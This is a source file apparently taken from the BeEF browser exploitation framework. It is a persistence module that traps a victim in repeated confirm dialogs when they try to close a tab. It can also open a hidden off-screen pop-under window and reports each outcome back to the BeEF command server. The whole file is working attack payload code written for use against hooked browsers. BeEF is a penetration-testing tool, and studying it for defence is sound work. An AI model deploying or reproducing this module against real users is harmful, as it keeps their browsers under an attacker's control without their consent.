Path: blob/master/modules/persistence/confirm_close_tab/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78function display_confirm(){9if(confirm("<%= @text %>")){10display_confirm();11}12}1314function dontleave(e){15e = e || window.event;1617var usePopUnder = '<%= @usePopUnder %>';18if(usePopUnder) {19var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';20var popunder_name = Math.random().toString(36).substring(2,10);21beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");22beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');23try {24window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();25window.focus();26beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());27} catch(e) {28beef.debug("[Create Pop-Under] Could not create pop-under window");29beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());30}31}3233if(beef.browser.isIE()){34e.cancelBubble = true;35e.returnValue = "<%= @text %>";36}else{37if (e.stopPropagation) {38e.stopPropagation();39e.preventDefault();40e.returnValue = "<%= @text %>";41}42}4344//re-display the confirm dialog if the user clicks OK (to leave the page)45display_confirm();46return "<%= @text %>";47}4849window.onbeforeunload = dontleave;5051beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully');52});535455